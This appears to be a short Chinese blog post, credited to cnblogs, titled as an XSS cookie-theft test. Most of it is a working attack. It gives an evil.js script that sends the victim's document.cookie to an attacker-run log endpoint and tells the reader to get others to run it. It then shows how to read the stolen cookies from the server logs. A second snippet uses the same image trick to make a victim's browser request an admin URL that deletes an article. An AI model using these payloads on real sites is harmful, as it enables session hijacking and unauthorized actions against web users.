xss窃取cookie测试

在evil.js文件中写如下代码,存储在www.test.com根目录下

var img=document.createElement("img");
img.src="http://www.test.com/log?"+escape(document.cookie);
document.body.appendChild(img);

 然后在测试页,想办法让别人运行这段代码

<script src="http://www.test.com/evil.js"></script>


然后在web日志中可查看窃取的cookie信息

如果,想让某人删除某篇文章,那么只需要让某人执行

var img=document.createElement("img");
img.src="http://www.text.com/max/admin/admin_news.asp?action=del&id=8";(找到删除文章的url替换之)
document.body.appendChild(img);
原文地址:https://www.cnblogs.com/shanmao/p/2776652.html